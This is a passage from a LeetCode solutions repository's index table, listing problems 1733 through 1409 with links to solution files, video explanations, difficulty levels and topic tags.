[Solution](../master/src/main/java/com/fishercoder/solutions/_1733.java) || Medium | Array, Greedy | | 1732 |[Find the Highest Altitude](https://leetcode.com/problems/find-the-highest-altitude/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1732.java) || Easy | Array | | 1727 |[Largest Submatrix With Rearrangements](https://leetcode.com/problems/largest-submatrix-with-rearrangements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1727.java) || Medium | Greedy, Sort | | 1726 |[Tuple with Same Product](https://leetcode.com/problems/tuple-with-same-product/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1726.java) | [:tv:](https://youtu.be/asI_UBkXI0M) | Medium | Array | | 1725 |[Number Of Rectangles That Can Form The Largest Square](https://leetcode.com/problems/number-of-rectangles-that-can-form-the-largest-square/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1725.java) || Easy | Greedy | | 1721 |[Swapping Nodes in a Linked List](https://leetcode.com/problems/swapping-nodes-in-a-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1721.java) || Medium | LinkedList | | 1720 |[Decode XORed Array](https://leetcode.com/problems/decode-xored-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1720.java) || Easy | Bit Manipulation | | 1718 |[Construct the Lexicographically Largest Valid Sequence](https://leetcode.com/problems/construct-the-lexicographically-largest-valid-sequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1718.java) || Medium | Backtracking, Recursion | | 1717 |[Maximum Score From Removing Substrings](https://leetcode.com/problems/maximum-score-from-removing-substrings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1717.java) | [:tv:](https://youtu.be/9wZ-TWBreTg) | Medium | Greedy | | 1716 |[Calculate Money in Leetcode Bank](https://leetcode.com/problems/calculate-money-in-leetcode-bank/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1716.java) || Easy | Math, Greedy | | 1711 |[Count Good Meals](https://leetcode.com/problems/count-good-meals/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1711.java) || Medium | Array, HashTable, Two Pointers | | 1710 |[Maximum Units on a Truck](https://leetcode.com/problems/maximum-units-on-a-truck/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1710.java) || Easy | Greedy, Sort | | 1708 |[Largest Subarray Length K](https://leetcode.com/problems/largest-subarray-length-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1708.java) || Easy | Array, Greedy | | 1705 |[Maximum Number of Eaten Apples](https://leetcode.com/problems/maximum-number-of-eaten-apples/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1705.java) || Medium | Heap, Greedy | | 1704 |[Determine if String Halves Are Alike](https://leetcode.com/problems/determine-if-string-halves-are-alike/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1704.java) || Easy | String | | 1700 |[Number of Students Unable to Eat Lunch](https://leetcode.com/problems/number-of-students-unable-to-eat-lunch/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1700.java) || Easy | Array | | 1695 |[Maximum Erasure Value](https://leetcode.com/problems/maximum-erasure-value/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1695.java) || Medium | Two Pointers | | 1694 |[Reformat Phone Number](https://leetcode.com/problems/reformat-phone-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1694.java) || Easy | String | | 1690 |[Stone Game VII](https://leetcode.com/problems/stone-game-vii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1690.java) || Medium | DP | | 1689 |[Partitioning Into Minimum Number Of Deci-Binary Numbers](https://leetcode.com/problems/partitioning-into-minimum-number-of-deci-binary-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1689.java) || Medium | Greedy | | 1688 |[Count of Matches in Tournament](https://leetcode.com/problems/count-of-matches-in-tournament/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1688.java) || Easy | Backtracking | | 1686 |[Stone Game VI](https://leetcode.com/problems/stone-game-vi/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1686.java) || Medium | Greedy | | 1685 |[Sum of Absolute Differences in a Sorted Array](https://leetcode.com/problems/sum-of-absolute-differences-in-a-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1685.java) | [:tv:](https://youtu.be/WYe644djV30) | Medium | Math, Greedy | | 1684 |[Count the Number of Consistent Strings](https://leetcode.com/problems/count-the-number-of-consistent-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1684.java) || Easy | String | | 1680 |[Concatenation of Consecutive Binary Numbers](https://leetcode.com/problems/concatenation-of-consecutive-binary-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1680.java) || Medium | Math | | 1679 |[Max Number of K-Sum Pairs](https://leetcode.com/problems/max-number-of-k-sum-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1679.java) || Medium | HashTable | | 1678 |[Goal Parser Interpretation](https://leetcode.com/problems/goal-parser-interpretation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1678.java) || Easy | String | | 1676 |[Lowest Common Ancestor of a Binary Tree IV](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree-iv/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1676.java) || Medium | Tree, DFS, Binary Tree | | 1675 |[Minimize Deviation in Array](https://leetcode.com/problems/minimize-deviation-in-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1675.java) || Hard | Heap, Ordered Map | | 1673 |[Find the Most Competitive Subsequence](https://leetcode.com/problems/find-the-most-competitive-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1673.java) | [:tv:](https://youtu.be/GBJFxSD3B_s) | Medium | Stack, Greedy | | 1672 |[Richest Customer Wealth](https://leetcode.com/problems/richest-customer-wealth/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1672.java) || Easy | Array | | 1670 |[Design Front Middle Back Queue](https://leetcode.com/problems/design-front-middle-back-queue/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1670.java) || Medium | Linked List, Design, Dequeu | | 1669 |[Merge In Between Linked Lists](https://leetcode.com/problems/merge-in-between-linked-lists/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1669.java) || Medium | LinedList | | 1668 |[Maximum Repeating Substring](https://leetcode.com/problems/maximum-repeating-substring/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1668.java) || Easy | String | | 1664 |[Ways to Make a Fair Array](https://leetcode.com/problems/ways-to-make-a-fair-array/)| [Javascript](./javascript/_1664.js) || Medium | Greedy | | 1663 |[Smallest String With A Given Numeric Value](https://leetcode.com/problems/smallest-string-with-a-given-numeric-value/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1663.java) | [:tv:](https://youtu.be/o3MRJfsoUrw) | Medium | Greedy | | 1662 |[Check If Two String Arrays are Equivalent](https://leetcode.com/problems/check-if-two-string-arrays-are-equivalent/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1662.java) || Easy | String | | 1658 |[Minimum Operations to Reduce X to Zero](https://leetcode.com/problems/minimum-operations-to-reduce-x-to-zero/)| [Javascript](./javascript/_1658.js), [Java](../master/src/main/java/com/fishercoder/solutions/_1658.java) || Medium | Greedy | | 1657 |[Determine if Two Strings Are Close](https://leetcode.com/problems/determine-if-two-strings-are-close/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1657.java) | [:tv:](https://youtu.be/-jXQK-UeChU) | Medium | Greedy | | 1656 |[Design an Ordered Stream](https://leetcode.com/problems/design-an-ordered-stream/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1656.java) || Easy | Array, Design | | 1652 |[Defuse the Bomb](https://leetcode.com/problems/defuse-the-bomb/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1652.java) || Easy | Array | | 1650 |[Lowest Common Ancestor of a Binary Tree III](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1650.java) || Medium | HashTable, Binary Tree, Tree | | 1646 |[Get Maximum in Generated Array](https://leetcode.com/problems/get-maximum-in-generated-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1646.java) || Easy | Array | | 1644 |[Lowest Common Ancestor of a Binary Tree II](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1644.java) || Medium | Binary Tree, DFS | | 1642 |[Furthest Building You Can Reach](https://leetcode.com/problems/furthest-building-you-can-reach/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1642.java) || Medium | Binary Search, Heap | | 1641 |[Count Sorted Vowel Strings](https://leetcode.com/problems/count-sorted-vowel-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1641.java) | [:tv:](https://youtu.be/gdH4yfgfwiU) | Medium | Math, DP, Backtracking | | 1640 |[Check Array Formation Through Concatenation](https://leetcode.com/problems/check-array-formation-through-concatenation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1640.java) || Easy | Array, Sort | | 1637 |[Widest Vertical Area Between Two Points Containing No Points](https://leetcode.com/problems/widest-vertical-area-between-two-points-containing-no-points/)| [Javascript](./javascript/_1637.js), [Java](../master/src/main/java/com/fishercoder/solutions/_1637.java) | | Medium | Sort | | 1636 |[Sort Array by Increasing Frequency](https://leetcode.com/problems/sort-array-by-increasing-frequency/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1636.java) || Easy | Array, Sort | | 1630 |[Arithmetic Subarrays](https://leetcode.com/problems/arithmetic-subarrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1630.java) || Medium | Sort | | 1629 |[Slowest Key](https://leetcode.com/problems/slowest-key/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1629.java) || Easy | Array | | 1628 |[Design an Expression Tree With Evaluate Function](https://leetcode.com/problems/design-an-expression-tree-with-evaluate-function/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1628.java) || Medium | Stack, Binary Tree, Design, Math | | 1626 |[Best Team With No Conflicts](https://leetcode.com/problems/best-team-with-no-conflicts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1626.java) || Medium | DP | | 1625 |[Lexicographically Smallest String After Applying Operations](https://leetcode.com/problems/lexicographically-smallest-string-after-applying-operations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1625.java) || Medium | BFS, DFS | | 1624 |[Largest Substring Between Two Equal Characters](https://leetcode.com/problems/largest-substring-between-two-equal-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1624.java) | [:tv:](https://youtu.be/rfjeFs3JuYM) | Easy | String | | 1620 |[Coordinate With Maximum Network Quality](https://leetcode.com/problems/coordinate-with-maximum-network-quality/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1620.java) | [:tv:](https://youtu.be/TqKDnzkRsh0) | Medium | Greedy | | 1619 |[Mean of Array After Removing Some Elements](https://leetcode.com/problems/mean-of-array-after-removing-some-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1619.java) | [:tv:](https://youtu.be/vyrEra_OfDo) | Easy | Array | | 1614 |[Maximum Nesting Depth of the Parentheses](https://leetcode.com/problems/maximum-nesting-depth-of-the-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1614.java) || Easy | String | | 1609 |[Even Odd Tree](https://leetcode.com/problems/even-odd-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1609.java) || Medium | Tree | | 1608 |[Special Array With X Elements Greater Than or Equal X](https://leetcode.com/problems/special-array-with-x-elements-greater-than-or-equal-x/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1608.java) || Easy | Array | | 1604 |[Alert Using Same Key-Card Three or More Times in a One Hour Period](https://leetcode.com/problems/alert-using-same-key-card-three-or-more-times-in-a-one-hour-period/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1604.java) || Medium | String, Ordered Map | | 1603 |[Design Parking System](https://leetcode.com/problems/design-parking-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1603.java) || Easy | Design | | 1601 |[Maximum Number of Achievable Transfer Requests](https://leetcode.com/problems/maximum-number-of-achievable-transfer-requests/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1601.java) || Hard | Backtracking | | 1598 |[Crawler Log Folder](https://leetcode.com/problems/crawler-log-folder/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1598.java) || Easy | Stack | | 1592 |[Rearrange Spaces Between Words](https://leetcode.com/problems/rearrange-spaces-between-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1592.java) || Easy | String | | 1588 |[Sum of All Odd Length Subarrays](https://leetcode.com/problems/sum-of-all-odd-length-subarrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1588.java) || Easy | Array | | 1583 |[Count Unhappy Friends](https://leetcode.com/problems/count-unhappy-friends/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1583.java) || Medium | Array | | 1582 |[Special Positions in a Binary Matrix](https://leetcode.com/problems/special-positions-in-a-binary-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1582.java) || Easy | Array | | 1577 |[Number of Ways Where Square of Number Is Equal to Product of Two Numbers](https://leetcode.com/problems/number-of-ways-where-square-of-number-is-equal-to-product-of-two-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1577.java) || Medium | HashTable, Math | | 1576 |[Replace All ?'s to Avoid Consecutive Repeating Characters](https://leetcode.com/problems/replace-all-s-to-avoid-consecutive-repeating-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1576.java) | [:tv:](https://youtu.be/SJBDLYqrIsM) | Easy | String | | 1574 |[Shortest Subarray to be Removed to Make Array Sorted](https://leetcode.com/problems/shortest-subarray-to-be-removed-to-make-array-sorted/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1574.java) || Medium | Array, Binary Search | | 1572 |[Matrix Diagonal Sum](https://leetcode.com/problems/matrix-diagonal-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1572.java) || Easy | Array | | 1570 |[Dot Product of Two Sparse Vectors](https://leetcode.com/problems/dot-product-of-two-sparse-vectors/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1570.java) || Easy | Array, HashTable, Two Pointers | | 1567 |[Maximum Length of Subarray With Positive Product](https://leetcode.com/problems/maximum-length-of-subarray-with-positive-product/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1567.java) | [:tv:](https://youtu.be/bFer5PdsgpY) | Medium | Greedy | | 1566 |[Detect Pattern of Length M Repeated K or More Times](https://leetcode.com/problems/detect-pattern-of-length-m-repeated-k-or-more-times/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1566.java) | [:tv:](https://youtu.be/aJAV_VgmjdE) | Easy | Array | | 1561 |[Maximum Number of Coins You Can Get](https://leetcode.com/problems/maximum-number-of-coins-you-can-get/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1561.java) | [:tv:](https://youtu.be/hPe9Z3TiUrA) | Medium | Sort | | 1560 |[Most Visited Sector in a Circular Track](https://leetcode.com/problems/most-visited-sector-in-a-circular-track/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1560.java) || Easy | Array | | 1558 |[Minimum Numbers of Function Calls to Make Target Array](https://leetcode.com/problems/minimum-numbers-of-function-calls-to-make-target-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1558.java) || Medium | Greedy | | 1557 |[Minimum Number of Vertices to Reach All Nodes](https://leetcode.com/problems/minimum-number-of-vertices-to-reach-all-nodes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1557.java) | [:tv:](https://youtu.be/IfsiNU7J-6c) | Medium | Graph | | 1556 |[Thousand Separator](https://leetcode.com/problems/thousand-separator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1556.java) | [:tv:](https://youtu.be/re2BnNbg598) | Easy | String | | 1551 |[Minimum Operations to Make Array Equal](https://leetcode.com/problems/minimum-operations-to-make-array-equal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1551.java) | [:tv:](https://youtu.be/A-i2sxmBqAA) | Medium | Math | | 1550 |[Three Consecutive Odds](https://leetcode.com/problems/three-consecutive-odds/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1550.java) | | Easy | Array | | 1545 |[Find Kth Bit in Nth Binary String](https://leetcode.com/problems/find-kth-bit-in-nth-binary-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1545.java) | [:tv:](https://youtu.be/34QYE5HAFy4) | Medium | String | | 1544 |[Make The String Great](https://leetcode.com/problems/make-the-string-great/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1544.java) | [:tv:](https://youtu.be/Q-ycCXbUOck) | Easy | String, Stack | | 1541 |[Minimum Insertions to Balance a Parentheses String](https://leetcode.com/problems/minimum-insertions-to-balance-a-parentheses-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1541.java) | [:tv:](https://youtu.be/PEKAlnmbBCc) | Medium | String, Stack | | 1539 |[Kth Missing Positive Number](https://leetcode.com/problems/kth-missing-positive-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1539.java) | [:tv:](https://youtu.be/p0P1JNHAB-c) | Easy | Array, HashTable | | 1535 |[Find the Winner of an Array Game](https://leetcode.com/problems/find-the-winner-of-an-array-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1535.java) | [:tv:](https://youtu.be/v6On1TQfMTU) | Medium | Array | | 1534 |[Count Good Triplets](https://leetcode.com/problems/count-good-triplets/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1534.java) | | Easy | Array | | 1528 |[Shuffle String](https://leetcode.com/problems/shuffle-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1528.java) | | Easy | Sort | | 1526 |[Minimum Number of Increments on Subarrays to Form a Target Array](https://leetcode.com/problems/minimum-number-of-increments-on-subarrays-to-form-a-target-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1526.java) | | Hard | Segment Tree | | 1525 |[Number of Good Ways to Split a String](https://leetcode.com/problems/number-of-good-ways-to-split-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1525.java) | [:tv:](https://youtu.be/lRVpVUC5mQ4) | Medium | String, Bit Manipulation | | 1524 |[Number of Sub-arrays With Odd Sum](https://leetcode.com/problems/number-of-sub-arrays-with-odd-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1524.java) | | Medium | Array, Math | | 1523 |[Count Odd Numbers in an Interval Range](https://leetcode.com/problems/count-odd-numbers-in-an-interval-range/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1523.java) | [:tv:](https://youtu.be/TkT-6WsmqY0) | Easy | Math | | 1518 |[Water Bottles](https://leetcode.com/problems/water-bottles/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1518.java) | | Easy | Greedy | | 1514 |[Path with Maximum Probability](https://leetcode.com/problems/path-with-maximum-probability/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1514.java) | | Medium | Graph | | 1512 |[Number of Good Pairs](https://leetcode.com/problems/number-of-good-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1512.java) | | Easy | Array, HashTable, Math | | 1508 |[Range Sum of Sorted Subarray Sums](https://leetcode.com/problems/range-sum-of-sorted-subarray-sums/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1508.java) | | Medium | Array, Sort | | 1507 |[Reformat Date](https://leetcode.com/problems/reformat-date/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1507.java) | | Easy | String | | 1502 |[Can Make Arithmetic Progression From Sequence](https://leetcode.com/problems/can-make-arithmetic-progression-from-sequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1502.java) | | Easy | Array, Sort | | 1496 |[Path Crossing](https://leetcode.com/problems/path-crossing/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1496.java) | | Easy | String | | 1493 |[Longest Subarray of 1's After Deleting One Element](https://leetcode.com/problems/longest-subarray-of-1s-after-deleting-one-element/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1493.java) | [:tv:](https://youtu.be/nKhteIRZ2Ok) | Medium | Array | | 1492 |[The kth Factor of n](https://leetcode.com/problems/the-kth-factor-of-n/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1492.java) | | Medium | Math | | 1491 |[Average Salary Excluding the Minimum and Maximum Salary](https://leetcode.com/problems/average-salary-excluding-the-minimum-and-maximum-salary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1491.java) | | Easy | Array, Sort | | 1490 |[Clone N-ary Tree](https://leetcode.com/problems/clone-n-ary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1490.java) | [:tv:](https://youtu.be/3Wnja3Bxeos) | Medium | HashTable, Tree, DFS, BFS | | 1487 |[Making File Names Unique](https://leetcode.com/problems/making-file-names-unique/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1487.java) | | Medium | HashTable, String | | 1486 |[XOR Operation in an Array](https://leetcode.com/problems/xor-operation-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1486.java) | | Medium | Array, Bit Manipulation | | 1485 |[Clone Binary Tree With Random Pointer](https://leetcode.com/problems/clone-binary-tree-with-random-pointer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1485.java) | | Medium | HashTable, Tree, DFS, BFS | | 1482 |[Minimum Number of Days to Make m Bouquets](https://leetcode.com/problems/minimum-number-of-days-to-make-m-bouquets/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1482.java) | | Medium | Array, Binary Search | | 1481 |[Least Number of Unique Integers after K Removals](https://leetcode.com/problems/least-number-of-unique-integers-after-k-removals/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1481.java) | | Medium | Array, Sort | | 1480 |[Running Sum of 1d Array](https://leetcode.com/problems/running-sum-of-1d-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1480.java), [C++](../master/cpp/_1480.cpp) | | Easy | Array | | 1476 |[Subrectangle Queries](https://leetcode.com/problems/subrectangle-queries/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1476.java) | | Medium | Array | | 1475 |[Final Prices With a Special Discount in a Shop](https://leetcode.com/problems/final-prices-with-a-special-discount-in-a-shop/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1475.java) | | Easy | Array | | 1474 |[Delete N Nodes After M Nodes of a Linked List](https://leetcode.com/problems/delete-n-nodes-after-m-nodes-of-a-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1474.java) | | Easy | LinkedList | | 1472 |[Design Browser History](https://leetcode.com/problems/design-browser-history/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1472.java) | | Medium | Array, Design | | 1471 |[The k Strongest Values in an Array](https://leetcode.com/problems/the-k-strongest-values-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1471.java) | | Medium | Array, Sort | | 1470 |[Shuffle the Array](https://leetcode.com/problems/shuffle-the-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1470.java), [C++](../master/cpp/_1470.cpp) | | Easy | Array | | 1469 |[Find All The Lonely Nodes](https://leetcode.com/problems/find-all-the-lonely-nodes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1469.java) | | Easy | Tree, DFS | | 1466 |[Reorder Routes to Make All Paths Lead to the City Zero](https://leetcode.com/problems/reorder-routes-to-make-all-paths-lead-to-the-city-zero/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1466.java) | | Medium | Tree, DFS, BFS | | 1464 |[Maximum Product of Two Elements in an Array](https://leetcode.com/problems/maximum-product-of-two-elements-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1464.java) | | Easy | Array | | 1461 |[Check If a String Contains All Binary Codes of Size K](https://leetcode.com/problems/check-if-a-string-contains-all-binary-codes-of-size-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1461.java) | | Medium | String, Bit Manipulation | | 1460 |[Make Two Arrays Equal by Reversing Sub-arrays](https://leetcode.com/problems/make-two-arrays-equal-by-reversing-sub-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1460.java) | | Easy | Array | | 1457 |[Pseudo-Palindromic Paths in a Binary Tree](https://leetcode.com/problems/pseudo-palindromic-paths-in-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1457.java) | | Medium | Bit Manipulation, Tree, DFS | | 1456 |[Maximum Number of Vowels in a Substring of Given Length](https://leetcode.com/problems/maximum-number-of-vowels-in-a-substring-of-given-length/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1456.java) | | Medium | String, Sliding Window | | 1455 |[Check If a Word Occurs As a Prefix of Any Word in a Sentence](https://leetcode.com/problems/check-if-a-word-occurs-as-a-prefix-of-any-word-in-a-sentence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1455.java) | | Easy | String | | 1452 |[People Whose List of Favorite Companies Is Not a Subset of Another List](https://leetcode.com/problems/people-whose-list-of-favorite-companies-is-not-a-subset-of-another-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1452.java) | | Medium | String, Sort | | 1451 |[Rearrange Words in a Sentence](https://leetcode.com/problems/rearrange-words-in-a-sentence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1451.java) | | Medium | String, Sort | | 1450 |[Number of Students Doing Homework at a Given Time](https://leetcode.com/problems/number-of-students-doing-homework-at-a-given-time/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1450.java) | | Easy | Array | | 1448 |[Count Good Nodes in Binary Tree](https://leetcode.com/problems/count-good-nodes-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1448.java) | | Medium | Tree, DFS | | 1447 |[Simplified Fractions](https://leetcode.com/problems/simplified-fractions/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1447.java) | | Medium | Math | | 1446 |[Consecutive Characters](https://leetcode.com/problems/consecutive-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1446.java) | | Easy | String | | 1441 |[Build an Array With Stack Operations](https://leetcode.com/problems/build-an-array-with-stack-operations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1441.java) | | Easy | Stack | | 1439 |[Find the Kth Smallest Sum of a Matrix With Sorted Rows](https://leetcode.com/problems/find-the-kth-smallest-sum-of-a-matrix-with-sorted-rows/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1439.java) | | Hard | Array, Binary Search, PriorityQueue, Matrix | | 1438 |[Longest Continuous Subarray With Absolute Diff Less Than or Equal to Limit](https://leetcode.com/problems/longest-continuous-subarray-with-absolute-diff-less-than-or-equal-to-limit/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1438.java) | | Medium | Array, Queue, Sliding Window, PriorityQueue, Monotonic Queue | | 1437 |[Check If All 1's Are at Least Length K Places Away](https://leetcode.com/problems/check-if-all-1s-are-at-least-length-k-places-away/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1437.java) | | Medium | Array | | 1436 |[Destination City](https://leetcode.com/problems/destination-city/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1436.java) | | Easy | String | | 1432 |[Max Difference You Can Get From Changing an Integer](https://leetcode.com/problems/max-difference-you-can-get-from-changing-an-integer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1432.java) | | Medium | String | | 1431 |[Kids With the Greatest Number of Candies](https://leetcode.com/problems/kids-with-the-greatest-number-of-candies/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1431.java), [C++](../master/cpp/_1431.cpp) | | Easy | Array | | 1429 |[First Unique Number](https://leetcode.com/problems/first-unique-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1429.java) | | Medium | Array, HashTable, Design, Data Streams | | 1428 |[Leftmost Column with at Least a One](https://leetcode.com/problems/leftmost-column-with-at-least-a-one/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1428.java) | | Medium | Array | | 1427 |[Perform String Shifts](https://leetcode.com/problems/perform-string-shifts/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1427.java) | | Easy | Array, Math | | 1426 |[Counting Elements](https://leetcode.com/problems/counting-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1426.java) | | Easy | Array | | 1423 |[Maximum Points You Can Obtain from Cards](https://leetcode.com/problems/maximum-points-you-can-obtain-from-cards/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1423.java) | | Medium | Array, DP, Sliding Window | | 1422 |[Maximum Score After Splitting a String](https://leetcode.com/problems/maximum-score-after-splitting-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1422.java) | | Easy | String | | 1418 |[Display Table of Food Orders in a Restaurant](https://leetcode.com/problems/display-table-of-food-orders-in-a-restaurant/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1418.java) | | Medium | HashTable | | 1417 |[Reformat The String](https://leetcode.com/problems/reformat-the-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1417.java) | | Easy | String | | 1415 |[The k-th Lexicographical String of All Happy Strings of Length n](https://leetcode.com/problems/the-k-th-lexicographical-string-of-all-happy-strings-of-length-n/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1415.java) | | Medium | Backtracking | | 1413 |[Minimum Value to Get Positive Step by Step Sum](https://leetcode.com/problems/minimum-value-to-get-positive-step-by-step-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1413.java) | | Easy | Array | | 1410 |[HTML Entity Parser](https://leetcode.com/problems/html-entity-parser/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1410.java) | | Medium | String, Stack | | 1409 |[Queries on a Permutation With Key](https://leetcode.com/problems/queries-on-a-permutation-with-key/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_1409.java) | | Medium | Array 